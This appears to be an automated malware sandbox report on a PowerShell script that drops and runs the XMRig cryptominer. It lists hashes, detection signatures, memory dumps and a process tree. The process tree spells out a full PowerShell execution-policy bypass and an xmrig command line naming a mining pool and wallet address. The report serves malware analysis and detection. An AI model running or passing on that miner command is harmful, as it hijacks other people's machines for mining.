Resubmissions
27/05/2024, 18:28
240527-w4c4xsdc7w1027/05/2024, 18:28
240527-w4c4xsed5327/05/2024, 18:28
240527-w4c4xsdc7v1027/05/2024, 18:28
240527-w4c4xsdc7t27/05/2024, 18:28
240527-w4c4xsed5227/05/2024, 18:28
240527-w4cs6adc7s27/05/2024, 18:28
240527-w4cs6adc6z27/05/2024, 18:28
240527-w4cs6aed491027/05/2024, 18:28
240527-w4cs6aed481027/05/2024, 18:28
240527-w4cs6aed4710Analysis
- max time kernel
1799s - max time network
1796s - platform
windows10-1703_x64 - resource
win10-20240404-en - resource tags
- submitted
27/05/2024, 18:28
General
- Target file01 - copia (8).ps1
- Size 510B
- Sample240527-w4cs6aed49
- SHA256 d1902d3e519d0d87097fd8969280bd01bd139a5191faadaed0149e61b4a7495c
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 49 IoCs
- Blocklisted process makes network request 2 IoCs
- Executes dropped EXE 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\file01 - copia (8).ps1"1⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe"C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe" -a rx -o stratum+ssl://rx.unmineable.com:443 -u XMR:45aHvZ4X3ZvdhLiEiP1cjsXmSkMNoM2QFYNmXCsoTRY9h2EwjtoYcfrVpEojtmBeg5cRsY9J82Lqp6hUanQ1Dsu4UNfKxdF.unmineable_worker_vilqtiac -p x2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_f2we4qll.ez1.ps1
xmrig.exe
memory/824-3-0x00007FFDC79F3000-0x00007FFDC79F4000-memory.dmp
memory/824-5-0x000001F57C650000-0x000001F57C672000-memory.dmp
memory/824-8-0x00007FFDC79F0000-0x00007FFDC83DC000-memory.dmp
memory/824-9-0x000001F57C800000-0x000001F57C876000-memory.dmp
memory/824-10-0x00007FFDC79F0000-0x00007FFDC83DC000-memory.dmp
memory/824-26-0x00007FFDC79F0000-0x00007FFDC83DC000-memory.dmp
memory/824-30-0x00007FFDC79F0000-0x00007FFDC83DC000-memory.dmp
memory/824-63-0x000001F57C7D0000-0x000001F57C7DA000-memory.dmp
memory/824-50-0x000001F57C7E0000-0x000001F57C7F2000-memory.dmp
memory/824-93-0x00007FFDC79F3000-0x00007FFDC79F4000-memory.dmp
memory/824-94-0x00007FFDC79F0000-0x00007FFDC83DC000-memory.dmp
memory/1152-92-0x000001CD173E0000-0x000001CD17400000-memory.dmp
memory/1152-95-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-96-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-97-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-98-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-99-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-100-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-101-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-102-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-103-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-104-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-105-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-106-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-107-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-108-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-109-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-110-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-111-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-112-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-113-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-114-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-115-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-116-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-117-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-118-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-119-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-120-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-121-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-122-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-123-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-124-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-125-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-126-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-127-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-128-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-129-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-130-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-131-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-132-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-133-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-134-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-135-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-136-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-137-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-138-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-139-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-140-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-141-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-142-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-143-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-144-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-145-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-146-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-147-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-148-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-149-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-150-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-151-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-152-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-153-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-154-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-155-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-156-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp
memory/1152-157-0x00007FF7465B0000-0x00007FF7471E3000-memory.dmp